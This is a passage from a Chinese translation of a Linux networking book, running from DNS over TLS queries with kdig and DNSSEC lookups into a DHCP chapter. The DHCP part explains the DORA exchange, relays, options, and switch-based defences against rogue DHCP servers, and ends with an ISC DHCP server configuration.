com, DNS:8888.google, DNS:dns.google.com, DNS:dns64.dns.google, IP Address:2001:4860:4860:0:0:0:0:64, IP Address:2001:4860:4860:0:0:0:0:6464, IP Address:2001:4860:4860:0:0:0:0:8844, IP Address:2001:4860:4860:0:0:0:0:8888, IP Address:8.8.4.4, IP Address:8.8.8.8
| Issuer: commonName=GTS CA 1O1/organizationName=Google Trust Services/countryName=US
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-01-26T08:54:07
| Not valid after:  2021-04-20T08:54:06
| MD5:   9edd 82e5 5661 89c0 13a5 cced e040 c76d
|_SHA-1: 2e80 c54b 0c55 f8ad 3d61 f9ae af43 e70c 1e67 fafd
Nmap done: 1 IP address (1 host up) scanned in 7.68 seconds

这就是我们到目前为止讨论的工具所能达到的程度。dig工具(目前)不支持进行 DoT 查询。但是,knot-dnsutils软件包为我们提供了一个“几乎与dig相同”的命令行工具—kdig。让我们使用这个工具来更深入地探索 DoT。

knot-dnsutils

knot-dnsutils是一个包含kdig工具的 Linux 软件包。kdig复制了dig工具的功能,但还添加了其他功能,包括对 DoT 查询的支持。要开始使用这个工具,我们首先必须安装knot-dnsutils软件包,如下所示:

sudo apt-get install  knot-dnsutils

安装完成后,kdig实用程序与dig命令非常相似,只是增加了一些额外的命令行参数—让我们进行 DoT 查询以说明这一点,如下所示:

kdig -d +short @8.8.8.8 www.cisco.com A  +tls-ca +tls-hostname=dns.google # +tls-sni=dns.google
;; DEBUG: Querying for owner(www.cisco.com.), class(1), type(1), server(8.8.8.8), port(853), protocol(TCP)
;; DEBUG: TLS, imported 129 system certificates
;; DEBUG: TLS, received certificate hierarchy:
;; DEBUG:  #1, C=US,ST=California,L=Mountain View,O=Google LLC,CN=dns.google
;; DEBUG:      SHA-256 PIN: 0r0ZP20iM96B8DOUpVSlh5sYx9GT1NBVp181TmVKQ1Q=
;; DEBUG:  #2, C=US,O=Google Trust Services,CN=GTS CA 1O1
;; DEBUG:      SHA-256 PIN: YZPgTZ+woNCCCIW3LH2CxQeLzB/1m42QcCTBSdgayjs=
;; DEBUG: TLS, skipping certificate PIN check
;; DEBUG: TLS, The certificate is trusted.
www.cisco.com.akadns.net.
wwwds.cisco.com.edgekey.net.
wwwds.cisco.com.edgekey.net.globalredir.akadns.net.
e2867.dsca.akamaiedge.net.
23.66.161.25

我们使用了哪些新参数?

debug参数(-d)给出了包括DEBUG字符串的所有前面的行。鉴于大多数人可能会使用kdig因为它支持 TLS,这些DEBUG行为我们提供了一些在测试新服务时可能经常需要的优秀信息。如果没有debug参数,我们的输出将更像是dig,如下面的代码片段所示:

kdig  +short @8.8.8.8 www.cisco.com A  +tls-ca +tls-hostname=dns.google +tls-sni=dns.google
www.cisco.com.akadns.net.
wwwds.cisco.com.edgekey.net.
wwwds.cisco.com.edgekey.net.globalredir.akadns.net.
e2867.dsca.akamaiedge.net.
23.66.161.25

+short参数将输出缩短为“只有事实”显示,就像dig一样。如果没有这个参数,输出将包括所有部分(不仅仅是“答案”部分),如下面的代码片段所示:

kdig @8.8.8.8 www.cisco.com A  +tls-ca +tls-hostname=dns.google +tls-sni=dns.google
;; TLS session (TLS1.3)-(ECDHE-X25519)-(RSA-PSS-RSAE-SHA256)-(AES-256-GCM)
;; ->>HEADER<<- opcode: QUERY; status: NOERROR; id: 57771
;; Flags: qr rd ra; QUERY: 1; ANSWER: 5; AUTHORITY: 0; ADDITIONAL: 1
;; EDNS PSEUDOSECTION:
;; Version: 0; flags: ; UDP size: 512 B; ext-rcode: NOERROR
;; PADDING: 240 B
;; QUESTION SECTION:
;; www.cisco.com.               IN      A
;; ANSWER SECTION:
www.cisco.com.          3571    IN      CNAME   www.cisco.com.akadns.net.
www.cisco.com.akadns.net.       120     IN      CNAME   wwwds.cisco.com.edgekey.net.
wwwds.cisco.com.edgekey.net.    13980   IN      CNAME   wwwds.cisco.com.edgekey.net.globalredir.akadns.net.
wwwds.cisco.com.edgekey.net.globalredir.akadns.net. 2490        IN      CNAME  e2867.dsca.akamaiedge.net.
e2867.dsca.akamaiedge.net.      19      IN      A       23.66.161.25
;; Received 468 B
;; Time 2021-02-21 13:50:33 PST
;; From 8.8.8.8@853(TCP) in 121.4 ms

我们使用的新参数列在此处:

  • +tls-ca参数强制执行 TLS 验证—换句话说,它验证证书。默认情况下,系统使用证书颁发机构CA)列表进行此操作。

  • 添加+tls-hostname允许您指定 TLS 协商的主机名。默认情况下,使用 DNS 服务器名称,但在我们的情况下,服务器名称是8.8.8.8—您需要一个出现在 TLS 正确协商的CN主题备用名称SAN)列表中的有效主机名。因此,此参数允许您独立于服务器名称字段中使用的内容指定该名称。

  • 添加+tls-sni在请求中添加了服务器名称指示SNI)字段,这是许多 DoT 服务器所必需的。这可能看起来有点奇怪,因为 SNI 字段是为了允许 HTTPS 服务器呈现多个证书(每个用于不同的 HTTPS 站点)。

如果您不使用这些参数,只是像使用dig一样使用kdig会发生什么?默认情况下,kdig不会强制验证证书与您指定的 FQDN 是否匹配,因此它通常会正常工作,如下面的代码片段所示:

$ kdig +short @8.8.8.8 www.cisco.com A
www.cisco.com.akadns.net.
wwwds.cisco.com.edgekey.net.
wwwds.cisco.com.edgekey.net.globalredir.akadns.net.
e2867.dsca.akamaiedge.net.
23.4.0.216

然而,最好按照 TLS 的原意使用它,进行验证——毕竟,重点是在 DNS 结果中添加另一层信任。如果您不验证服务器,那么您所做的就是加密查询和响应。如果不在服务器名称字段或 TLS 主机名字段中指定正确的主机名,您就无法进行验证(此值需要与证书参数匹配)。强制证书验证很重要,因为这样可以确保 DNS 服务器是您真正想要查询的服务器(即,您的流量没有被拦截),并且响应在返回客户端的过程中没有被篡改。

既然我们了解了 DoT 的工作原理,那么我们如何进行故障排除或查明 DNS 主机是否已实施 DoT 呢?

在 Nmap 中实施 DoT

与 DoH Nmap 示例类似,实施 DoT 在 Nmap 中允许您以更大的规模进行 DoT 发现和查询,而不是一次一个。考虑到在 Nmap 中进行 HTTPS 调用的复杂性,一个简单的方法就是在 Nmap 脚本中直接调用kdig,使用 Lua 中的os.execute函数来完成这个任务。

另一个关键区别是,我们不是测试http功能的目标端口(使用shortport.http测试),而是使用shortport.ssl测试来验证 SSL/TLS 功能的任何开放端口;因为如果它不能提供有效的 TLS 请求服务,那么它就不能是 DoT,对吧?

dns.dot工具可在此处下载:

https://github.com/robvandenbrink/dns-dot

您可以在此处查看完整的说明:

https://isc.sans.edu/diary/Fun+with+DNS+over+TLS+(DoT)/27150

我们可以在 DNS 协议本身上实施哪些其他安全机制?让我们来看看 DNSSEC,这是验证 DNS 响应的原始机制。

DNSSEC

udp/53tcp/53,因为它不加密任何内容——它只是添加字段来验证使用签名的标准 DNS 操作。

您可以使用dig中的DNSKEY参数查看任何 DNS 区域的公钥。在以下代码示例中,我们添加了short参数:

$ dig DNSKEY @dns.google example.com +short
256 3 8 AwEAAa79LdJaZfIxVzyjq4H7yB4VqT/rIreB+N0jija+4bWHzNrwhSiu D/SOtgvX+gXEgwAR6tHGn9q9t65o85RfdHJrueORb0usa3x6LHM7qy6A r22P78UUn/rxa9jbi6yS4cVOzLnJ+OKO0w1Scly5XLDmmWPbIM2LvayR 2U4UAqZZ
257 3 8 AwEAAZ0aqu1rJ6orJynrRfNpPmayJZoAx9Ic2/Rl9VQWLMHyjxxem3VU SoNUIFXERQbj0A9Ogp0zDM9YIccKLRd6LmWiDCt7UJQxVdD+heb5Ec4q lqGmyX9MDabkvX2NvMwsUecbYBq8oXeTT9LRmCUt9KUt/WOi6DKECxoG /bWTykrXyBR8elD+SQY43OAVjlWrVltHxgp4/rhBCvRbmdflunaPIgu2 7eE2U4myDSLT8a4A0rB5uHG4PkOa9dIRs9y00M2mWf4lyPee7vi5few2 dbayHXmieGcaAHrx76NGAABeY393xjlmDNcUkF1gpNWUla4fWZbbaYQz A93mLdrng+M=
257 3 8 AwEAAbOFAxl+Lkt0UMglZizKEC1AxUu8zlj65KYatR5wBWMrh18TYzK/ ig6Y1t5YTWCO68bynorpNu9fqNFALX7bVl9/gybA0v0EhF+dgXmoUfRX 7ksMGgBvtfa2/Y9a3klXNLqkTszIQ4PEMVCjtryl19Be9/PkFeC9ITjg MRQsQhmB39eyMYnal+f3bUxKk4fq7cuEU0dbRpue4H/N6jPucXWOwiMA kTJhghqgy+o9FfIp+tR/emKao94/wpVXDcPf5B18j7xz2SvTTxiuqCzC MtsxnikZHcoh1j4g+Y1B8zIMIvrEM+pZGhh/Yuf4RwCBgaYCi9hpiMWV vS4WBzx0/lU=

要查看DS参数,如下面的代码片段所示:

$ dig +short DS @dns.google example.com
31589 8 1 3490A6806D47F17A34C29E2CE80E8A999FFBE4BE
31589 8 2 CDE0D742D6998AA554A92D890F8184C698CFAC8A26FA59875A990C03 
E576343C
43547 8 1 B6225AB2CC613E0DCA7962BDC2342EA4F1B56083
43547 8 2 615A64233543F66F44D68933625B17497C89A70E858ED76A2145997E DF96A918
31406 8 1 189968811E6EBA862DD6C209F75623D8D9ED9142
31406 8 2 F78CF3344F72137235098ECBBD08947C2C9001C7F6A085A17F518B5D 8F6B916D

如果我们添加-d(调试)参数并过滤以仅查看DEBUG数据,我们将在输出中看到以下行,该行指示我们正在使用与常规 DNS 查询相同的端口和协议:

dig -d DNSKEY @dns.google example.com  | grep DEBUG
;; DEBUG: Querying for owner(example.com.), class(1), type(48), server(dns.google), port(53), protocol(UDP)

要进行 DNSSEC 查询,只需在dig命令行中添加+dnssec,如下所示:

$ dig +dnssec +short @dns.google www.example.com A
93.184.216.34
A 8 3 86400 20210316085034 20210223165712 45150 example.com. UyyNiGG0WDAsberOUza21vYos8vDc6aLq8FV9lvJT4YRBn6V8CTd3cdo ljXV5uETcD54tuv1kLZWg7YZxSQDGFeNC3luZFkbrWAqPbHXy4D7Tdey LBK0R3xywGxgZIEfp9HMjpZpikFQuKC/iFvd14uJhoquMqFPFvTfJB/s XJ8=

DNSSEC 主要是关于在客户端和服务器之间,以及在中继请求时服务器之间对 DNS 请求进行认证。正如我们所看到的,它是由任何特定区域的所有者实施的,以允许请求者验证他们得到的 DNS“答案”是否正确。然而,由于其复杂性和对证书的依赖,它并没有像 DoT 和 DoH 那样被广泛采用。

正如我们所看到的,DoT 和 DoH 专注于个人隐私,加密个人进行业务时所做的每个 DNS 请求。虽然这种加密使得这些 DNS 请求更难以捕获,但这些请求仍然记录在 DNS 服务器上。此外,如果攻击者能够收集个人的 DNS 请求,他们也能够简单地记录他们访问的站点(按 IP 地址)。

话虽如此,我们不会深入研究 DNSSEC 的深度,主要是因为作为一个行业,我们已经做出了同样的决定,并且(在大多数情况下)选择不实施它。然而,您确实会不时地看到它,特别是在解决涉及 DNS 的问题时,因此了解它的外观以及为什么可能会实施它是很重要的。

总结

随着我们对 DNS 的讨论接近尾声,您现在应该有了构建基本内部 DNS 服务器和面向互联网的标准 DNS 服务器的工具。您还应该具备开始通过编辑 Linux bind或命名服务的各种配置文件来保护这些服务的基本工具。

此外,您应该熟悉使用digkdigcurlnmap等工具来排除各种 DNS 服务的故障。

在下一章中,我们将继续讨论 DHCP,正如我们在本章中所看到的,它确实是分开的,但仍然与 DNS 有关。

问题

最后,这里是一些问题列表,供您测试对本章材料的了解。您将在附录评估部分找到答案。

  1. DNSSEC 与 DoT 有何不同?

  2. DoH 与“常规”DNS 有何不同?

  3. 您会在内部 DNS 服务器上实现哪些功能,而不是在外部 DNS 服务器上实现?

进一步阅读

要了解更多关于这个主题的信息:

  • 权威 DNS 参考

基本 DNS 实际上有数十个定义服务以及实施最佳实践的 RFC。这里可以找到这些 RFC 的一个好列表:https://en.wikipedia.org/wiki/Domain_Name_System#RFC_documents。

但是,如果您需要更多关于 DNS 的详细信息,并且正在寻找比 RFC 更易读的协议和实施细节的指南(重点是“易读”),许多人认为 Cricket Liu 的书是一个很好的下一步:

Cricket Liu 和 Paul Albitz 的 DNS 和 BIND

https://www.amazon.ca/DNS-BIND-Help-System-Administrators-ebook/dp/B0026OR2QS/ref=sr_1_1?dchild=1&keywords=dns+and+bind+cricket+liu&qid=1614217706&s=books&sr=1-1

Cricket Liu 的 IPv6 上的 DNS 和 BIND

https://www.amazon.ca/DNS-BIND-IPv6-Next-Generation-Internet-ebook/dp/B0054RCT4O/ref=sr_1_3?dchild=1&keywords=dns+and+bind+cricket+liu&qid=1614217706&s=books&sr=1-3

  • DNS 更新(自动注册)

RFC 2136域名系统(DNS UPDATE)中的动态更新

https://tools.ietf.org/html/rfc2136

  • Active Directory(AD)中的经过身份验证的 DNS 注册

RFC 3645用于 DNS 的秘密密钥事务认证的通用安全服务算法(GSS-TSIG)

https://tools.ietf.org/html/rfc3645

  • DoH

使用 NMAP NSE 脚本和 DOH(HTTPS 上的 DNS)玩乐https://isc.sans.edu/forums/diary/Fun+with+NMAP+NSE+Scripts+and+DOH+DNS+over+HTTPS/27026/

DoH Nmap 脚本:https://github.com/robvandenbrink/dns-doh.nse

RFC 8484HTTPS 上的 DNS 查询(DoH)https://tools.ietf.org/html/rfc8484

RFC 7858传输层安全性(TLS)上的 DNS 规范https://tools.ietf.org/html/rfc7858

  • DNSSEC

域名系统安全扩展(DNSSEC)https://www.internetsociety.org/issues/dnssec/

RFC 4033DNS 安全介绍和要求https://tools.ietf.org/html/rfc4033

RFC 4034DNS 安全扩展的资源记录https://tools.ietf.org/html/rfc4034

RFC 4035DNS 安全扩展的协议修改https://tools.ietf.org/html/rfc4035

RFC 4470最小覆盖 NSEC 记录和 DNSSEC 在线签名https://tools.ietf.org/html/rfc4470

RFC 4641DNSSEC 操作实践https://tools.ietf.org/html/rfc4641

RFC 5155DNS 安全(DNSSEC)哈希认证否定存在https://tools.ietf.org/html/rfc5155

RFC 6014DNSSEC 的加密算法标识符分配https://tools.ietf.org/html/rfc6014

RFC 4398在域名系统(DNS)中存储证书https://tools.ietf.org/html/rfc4398

第七章:Linux 上的 DHCP 服务

在本章中,我们将涵盖几个涉及动态主机控制协议(DHCP)的主题。顾名思义,DHCP 用于提供主机连接到网络所需的基本信息,并在某些情况下提供其他配置的位置,这使其成为大多数基础设施的关键部分。

在本章中,我们将介绍这种协议的基本工作原理,然后逐步构建和最终解决 DHCP 服务的问题,具体包括:

  • DHCP 是如何工作的?

  • 保护您的 DHCP 服务

  • 安装和配置 DHCP 服务器

让我们开始吧!

DHCP 是如何工作的?

让我们首先描述 DHCP 实际是如何工作的。我们将首先看一下 DHCP 请求和响应中的数据包是如何工作的 - 客户端请求了什么信息,服务器提供了什么信息,以及它是如何工作的。然后我们将开始讨论 DHCP 选项如何在许多实现中发挥作用。

基本的 DHCP 操作

DHCP允许系统管理员在服务器上集中定义设备配置,以便当这些设备启动时,它们可以请求这些配置参数。这种中央配置几乎总是包括 IP 地址、子网掩码、默认网关、DNS 服务器和 DNS 域名的基本网络参数。在大多数组织中,这意味着在大多数情况下,几乎没有设备获得静态 IP 地址或其他网络定义;所有工作站网络配置都是由 DHCP 服务器设置的。当我们更深入地探讨协议时,您将看到 DHCP 的其他用途通常是附加到这些基本设置上。

DHCP 过程是从客户端发送广播DISCOVER数据包开始的,基本上是在说“有没有 DHCP 服务器?这是我正在寻找的信息。” DHCP 服务器然后回复一个OFFER数据包,其中包含所有信息。客户端回复一个REQUEST数据包,这个名字似乎有点奇怪 - 基本上,客户端是通过确认的方式将刚刚从服务器得到的信息发送回去。然后服务器再次发送最终的ACKNOWLEDGEMENT数据包,再次包含相同的信息,再次确认。

这通常被称为DORA序列(Discover, Offer, Request, Acknowledgement),通常是这样描述的:

图 7.1 - DHCP DORA 序列

图 7.1 - DHCP DORA 序列

由于这些都是 UDP 数据包,请记住 UDP 协议中没有内置的会话信息,那么是什么将这四个数据包绑定成一个“会话”?为此,初始的 Discover 数据包具有一个事务 ID,在三个后续数据包中匹配 - 下面显示的 Wireshark 跟踪说明了这一点:

图 7.2 - 在 Wireshark 中显示的 DHCP DORA 序列

图 7.2 - 在 Wireshark 中显示的 DHCP DORA 序列

重要提示

客户端实际上直到第四个数据包才有地址,因此 Discover 和 Request 数据包来自客户端的 MAC 地址,IP 地址为0.0.0.0,发送到广播地址255.255.255.255(即整个本地网络)。

现在我们了解了 DHCP 工作的基础知识,我们看到它严重依赖于广播地址,这些地址限制在本地子网。在更实际的设置中,我们如何在不同的子网中使用 DHCP,甚至可能在不同的城市或国家中使用 DHCP 服务器?

来自其他子网的 DHCP 请求(转发器、中继或辅助程序)

但是,您可能会说 - 在许多公司网络中,服务器位于它们自己的子网上 - 将服务器和工作站分开是一种非常常见的做法。在这种情况下,DHCP 序列是如何工作的?DORA 序列的前三个数据包发送到广播地址,因此它们只能到达同一 VLAN 上的其他主机。

我们通过在客户端子网上的主机上放置 DHCP“转发器”或“中继”进程来完成工作。该进程接收本地广播,然后将其转发到 DHCP 服务器作为单播。当服务器回复(作为单播到转发器主机)时,转发器将数据包转换回客户端期望的广播回复。几乎总是在客户端子网上的路由器或交换机 IP 地址上执行此转发器功能 - 换句话说,最终将成为客户端默认网关的接口。这个功能在技术上不需要在该接口上,但我们知道该接口将存在,并且该功能几乎总是可供我们使用。此外,如果我们将其作为一种不成文的惯例使用,那么如果以后需要更改它,就更容易找到该命令!在思科路由器或交换机上,此命令如下:

interface VLAN <x>  ip helper-address 10.10.10.10

这里,10.10.10.10是我们的 DHCP 服务器的 IP。

在操作中,这将改变大多数家庭网络上的简单广播操作,以包括到位于另一个子网上的 DHCP 服务器的单播“腿”:

图 7.3 - DHCP 中继或转发器操作

图 7.3 - DHCP 中继或转发器操作

这如何修改我们的 DORA 序列?简短的答案是它实际上并没有修改任何数据包的 DHCP 内容。它所做的是修改数据包中的上层“IP 地址”字段 - 在路由器和服务器之间修改的数据包具有“真实”的源和目的地 IP 地址。然而,客户端看到的数据包内容保持不变。如果您深入研究 DHCP 数据包,您会发现无论是否使用中继,DHCP 客户端 MAC 地址和 DHCP 服务器 IP 地址实际上都包含在第 7 层 DHCP 协议的数据字段中。

我们现在已经具备了为基本工作站操作配置 DHCP 服务器的条件,但在开始之前,我们需要考虑一下我们需要为 iPhone、无线接入点(WAP)或甚至预执行环境(PXE)设备等特殊用途设备提供什么信息。

DHCP 选项

在 DHCP Discover 数据包中发送的选项基本上是客户端知道如何处理的 DHCP 网络参数列表。服务器的 Offer 数据包将尽可能填充此列表。最常见的请求的选项(并在服务器上配置)如下:

  • 子网掩码

  • 路由器(默认网关)

  • DNS 服务器列表

  • DNS 域名

有关 DHCP 选项的更完整参考可以在 IANA 网站上找到,www.iana.org/assignments/bootp-dhcp-parameters/bootp-dhcp-parameters.xhtml,或者在相关的 RFC 中找到:tools.ietf.org/html/rfc2132

然而,在许多公司网络中,您可能会看到其他请求和提供的信息 - 这通常是为了支持Voice over IP(VOIP)电话的启动。这些选项通常是特定于供应商的,但在大多数情况下,客户端设备将请求的信息列表如下:

  • 我需要在哪个 VLAN 上?:这个选项在现代网络中使用得较少,而是更倾向于使用链路层发现协议(LLDP)在交换机上识别 VOICE VLAN。在思科交换机上,只需在 VLAN 定义中添加 voice 关键字即可。

  • 我将连接到的 PBX 的 IP 是多少?

  • 我应该连接到哪个 TFTP 或 HTTP 服务器以收集我的硬件配置?

如果服务器有所请求的信息,它将在 DHCP 提供中作为服务器的响应数据包提供。

通常,您会看到以下 DHCP 选项,但如果您使用不同的电话手柄供应商,当然,您的情况可能会有所不同:

请注意,Mitel 和 Shortel 电话使用相同的 DHCP 选项,但语法略有不同。

DHCP 选项有时也用于告诉 WAP 使用哪个 IP 地址来找到它们的控制器,控制 PXE 站的引导顺序,或者任何其他自定义用途。在大多数情况下,DHCP 选项的作用是确保远程设备获取它需要的信息,以便从一个中心位置引导启动,而无需为每个设备进行配置。如果您需要这些选项用于您的特定设备,详细信息将在供应商的文档中(查找DHCP 选项)。

如果您正在解决 DHCP 序列的问题,特别是为什么 DHCP 选项的工作方式不如您所期望的那样,任何特定设备所需的 DHCP 选项将始终包含在初始的 Discover 数据包中,即 DORA 序列中的第一个数据包。始终从那里开始调查,您通常会发现所请求的 DHCP 选项并非配置的选项。

现在我们已经了解了 DHCP 的基本原理,我们如何才能使其免受常见攻击或操作问题的影响呢?

保护您的 DHCP 服务

关于 DHCP 的有趣之处在于,在几乎所有情况下,保护服务是在网络交换机上进行的,而不是在 DHCP 服务器本身上进行的。在大多数情况下,DHCP 服务器接收匿名请求,然后适当地回复 - 没有太多机会在不增加太多复杂性(使用签名和 PKI,我们将介绍),或者通过维护授权的 MAC 地址列表(这将增加很多复杂性)的情况下保护我们的服务。这两种方法都与拥有 DHCP 服务的初衷背道而驰,即“自动”对工作站、电话和其他网络连接设备进行网络配置,而不增加太多复杂性或管理开销。

那么我们如何保护我们的服务呢?让我们看一些攻击场景,然后添加最常见的防御措施。

恶意 DHCP 服务器

首先,让我们看看192.168.1.0/24192.168.0.0/24,这几乎总是是我们在工作中配置的。因此,一旦连接到网络,工作站将开始在此子网上获取地址,并且将失去与真正的企业网络的连接。

我们如何防御?答案在网络交换机上。我们在每个交换机上评估拓扑结构,并决定哪些端口可以信任发送 DHCP Offer 数据包 - 换句话说,“哪些端口引导我们到 DHCP 服务器?”这几乎总是交换机上行链路,这是我们连接服务器的链路。

一旦在交换机上识别出来,我们启用所谓的DHCP 监听,指示交换机检查 DHCP 数据包。这是按 VLAN 逐个进行的,在大多数环境中,我们通常列出所有 VLAN。然后我们配置我们的上行端口为“受信任”以发送 DHCP 数据包。这通常是一个非常简单的配置更改,看起来类似于这样(显示了 Cisco 配置):

ip dhcp snooping vlan 1 2 10
interface e1/48
    ip dhcp snooping trust

如果在任何端口或 IP 地址上接收到 DHCP Offer 数据包,而不是我们配置为“受信任”的端口,默认情况下,该端口将被关闭,并发送警报(尽管您可以配置它们只发送警报)。然后,该端口处于所谓的错误禁用状态,通常需要网络管理员追踪根本原因并进行修复。这使得日志记录和警报过程非常重要。如果这对您的组织立即很重要,您可以直接跳到第十三章Linux 上的入侵防护系统

对于一些交换机供应商,我们可以信任 DHCP 服务器 IP 而不是上行端口。例如,在 HP 交换机上,我们仍然可以使用上面概述的方法,但我们还可以根据 IP 地址添加一个更简单的配置:

dhcp-snooping
dhcp-snooping vlan 1 2 10
dhcp-snooping authorized-server <server ip address>

在较大的网络中,这种方法使我们的配置变得更加简单 – 无需识别可能与交换机不同的上行端口;这两行可以简单地复制到所有工作站交换机上。

当我们到达服务器 VLAN 和数据中心交换机时,我们面临的事实是我们的 DHCP 服务器很可能是一个虚拟机。这给我们留下了两种选择 – 要么我们在连接到我们的虚拟化服务器的所有上行端口上配置 DHCP 信任,要么在服务器交换机上,我们根本不配置 DHCP 监听或信任。这两种选择都是有效的选择,老实说,第二种选择是我们经常看到的 – 在许多情况下,网络管理员可以相信服务器交换机在一个封闭的房间或机柜中,这成为我们的 DHCP 服务的安全层。这也意味着服务器和虚拟化管理员在进行服务器端的更改时不需要太多考虑物理网络(或在许多情况下根本不需要涉及网络管理员)。

我们确实提到“意外的 DHCP 服务器”是迄今为止最常见的恶意 DHCP 服务器攻击。但是有关有意的 DHCP 服务器攻击呢?这些攻击是什么样的?第一种情况是 DHCP 服务器将恶意主机添加为默认网关(通常是它自己)。当接收到数据包时,恶意主机将检查要窃取、窥视或修改的流量信息,然后将其转发到合法路由器(该子网的默认网关):

图 7.4 – 使用 DHCP 的第 3 层 MiTM 攻击

图 7.4 – 使用 DHCP 的第 3 层 MiTM 攻击

另一种情况是,恶意 DHCP 服务器向客户端提供了所有正确的信息,但在 DHCP 租约中添加了一个“额外”的 DHCP 信息 – DHCP 选项252。选项252是一个文本字符串,指向一个http://<恶意服务器>/link/<filename.pac>。PAC 文件是特殊格式的。攻击者将其构建为使用他们的恶意代理服务器来针对目标网站,并对其他网站的 Web 流量进行正常路由。这两种中间人(通常缩写为MiTM)的意图是窃取凭据 – 当您浏览到目标网站,如 PayPal、Amazon 或您的银行时,攻击者将准备好一个假网站来收集您的用户 ID 和密码。这通常被称为WPAD 攻击Windows 代理自动发现),因为它对默认情况下配置为信任 DHCP 服务器获取代理设置的 Windows 客户端非常成功。在大多数情况下,WPAD 攻击是首选,因为攻击者不必担心解密 HTTPS、SSH 或任何其他加密流量:

图 7.5 – WPAD 攻击 – 恶意 DHCP 服务器设置代理服务器

图 7.5 – WPAD 攻击 – 恶意 DHCP 服务器设置代理服务器

在这两种恶意 DHCP 服务器的情况下,我们的“DHCP 信任”防御效果非常好。

WPAD 攻击的另一个防御措施是在 DNS 服务器上为 WPAD 添加 DNS 条目– yourinternaldomain.com。这对于 WPAD 攻击可以结合其他攻击(特别是针对任何多播 DNS 协议,如 LLMNR)是有帮助的,但如果该主机名有 DNS 条目,那么这些攻击就会被很好地规避。此外,记录所有对 WPAD 等可疑主机名的 DNS 请求是帮助您在攻击发生时识别和定位攻击的绝佳实践。

但是,如何防范来自其他方向的攻击呢?未经授权的客户端呢?

Rogue DHCP 客户端

较少见的攻击向量是恶意的 DHCP 客户端-一个人将他们的服务器从家里带到工作中的未使用的以太网端口,或者将一个微型的、专门设计的攻击 PC(通常称为pwnplug)插入大堂或任何可访问的位置的未使用的以太网端口。这些地方的后面,植物、打印机或其他障碍物是这些攻击的最爱位置。

对抗这种攻击的老派方法是在公司中保留所有授权的 MAC 地址的数据库,并将它们设置为 DHCP 中的授权客户端,或者为每个客户端设置一个静态的 DHCP 保留。在现代企业中,这两种方法都不是理想的。首先,这是一个相当重要的管理过程。我们正在为服务器团队的流程添加手动库存组件。由于 DHCP 服务器通常是一个低开销的服务器组件,没有人会对此感到高兴。其次,如果采用“静态保留”方法,您将需要为客户端可能需要连接的每个 VLAN、无线 SSID 或可能的位置添加保留。不用说,大多数组织都不喜欢这两种方法。

防止未经授权的客户端的较新方法是使用 802.1x 认证,其中客户端必须在被允许连接到网络之前进行身份验证。这涉及使用Linux 的 RADIUS 服务第九章)和Linux 上的证书服务第八章)。证书用于强制执行信任-客户端需要信任 RADIUS 服务器,更重要的是,RADIUS 服务器需要信任连接的客户端,以便进行安全的认证。正如您所期望的那样,我们将在本书的后面部分介绍这个解决方案(在第八章中,Linux 上的证书服务第九章中,Linux 的 RADIUS 服务)。

完成所有这些理论的学习和内化后,让我们开始配置 DHCP 服务器。

安装和配置 DHCP 服务器

我们将把配置任务分成三个部分:

  • DHCP 服务器和范围的基本配置

  • DHCP 租约的静态保留-例如,用于服务器或打印机。

  • 使用 DHCP 日志进行网络智能和库存检查或人口统计。

让我们开始吧。

基本配置

正如您所期望的,我们将从apt命令开始我们的旅程,在我们的实验室主机上安装 ISC DHCP 服务器:

$ sudo apt-get install isc-dhcp-server

安装完成后,我们可以配置基本的服务器选项。设置租约时间和任何不依赖于范围的内容-例如,我们将配置中央 DNS 服务器。另外,请注意我们正在添加一个 ping 检查-在分配租约之前,主机会 ping 候选地址,以确保没有其他人静态分配了它。这是一个很好的检查,可以避免重复的 IP 地址,默认情况下是关闭的。在我们的示例中,ping 的超时设置为 2 秒(默认值为 1 秒)。请注意,对于某些 dhcpd 服务器,ping-check参数可能会缩短为ping

还要注意租约时间变量。这些变量决定 DHCP“租约”有效的时间以及客户端何时开始请求租约续订。这些对几个原因很重要:

  • 尽管我们努力将 IP 地址与各种诊断工具分离,但在事件响应中,能够相对依赖地址不会发生太大变化是非常有帮助的。例如,如果您正在解决一个问题,并且在问题发生之初确定了某人的工作站 IP 地址,如果您能够依赖在接下来的 3-4 天内不会发生变化,那将非常有帮助。这意味着您可以只针对所有相关日志进行一次基于地址的搜索,这非常有帮助。因此,内部工作站 DHCP 租约通常设置为长达 4 天的周末或长达 2-3 周的假期,保持 DHCP 租约在这段时间内有效。

  • 当然,例外情况是访客网络,特别是访客无线网络。如果您不将访客地址与其身份或其赞助者的身份关联起来,那么在这里设置较短的租约时间会有所帮助。此外,访客网络通常会看到更多“瞬时”用户的出现和离开,因此较短的租约时间可以在一定程度上保护您免受地址池枯竭的影响。如果您曾经在具有较短租约时间的“匿名访客”网络上进行事件响应,您很可能会基于 MAC 地址而不是 IP 地址来建立“伪身份”(并以相同的方式阻止可疑主机)。

可用的三个租约时间变量如下:

  • default-lease-time:如果客户端没有请求租约时间,则租约的持续时间

  • 最长租约时间:服务器能够提供的最长租约时间

  • min-lease-time:如果客户端请求的租约时间短于此间隔,则用于强制客户端使用更长的租约

在所有情况下,客户端可以在协商的租约间隔的 50%点开始请求租约续订。

让我们编辑 DHCP 服务器的主配置-/etc/dhcp/dhcpd.conf。确保使用sudo以便在编辑此文件时具有适当的权限:

default-lease-time 3600;
max-lease-time 7200;
ping true;
ping-timeout 2;
option domain-name-servers 192.168.122.10, 192.168.124.11;

在文件中稍后取消注释authoritative参数:

# If this DHCP server is the official DHCP server for the local
# network, the authoritative directive should be uncommented.
authoritative;

在文件的末尾,添加范围的详细信息。请注意,如果您正在部署新的子网,请尽量避免使用192168.0.0/24192.168.1.0/24-因为这些在家庭网络中经常使用,在工作中使用它们可能会给远程人员造成很大的麻烦。如果他们使用 VPN,他们将不得不处理两个不同的192.168.1.0网络-其中一个可能无法访问:

# Specify the network address and subnet-mask
  subnet 192.168.122.0 netmask 255.255.255.0 {
  # Specify the default gateway address
  option routers 192.168.122.1;
  # Specify the subnet-mask
  option subnet-mask 255.255.255.0;
  # Specify the range of leased IP addresses
  range 192.168.122.10 192.168.122.200;
}

这也是您可以放置任何其他 DHCP 选项的地方,我们在本章前面讨论过这些选项-例如,支持 VOIP 电话、PXE 主机或无线接入点的选项。

最后,重新启动 DHCP 服务器:

$ sudo systemctl restart isc-dhcp-server.service

仅供娱乐,如果您希望客户端尝试使用他们的信息更新 DNS 服务器,可以添加以下内容:

ddns-update-style interim;
# If you have fixed-address entries you want to use dynamic dns
update-static-leases on;

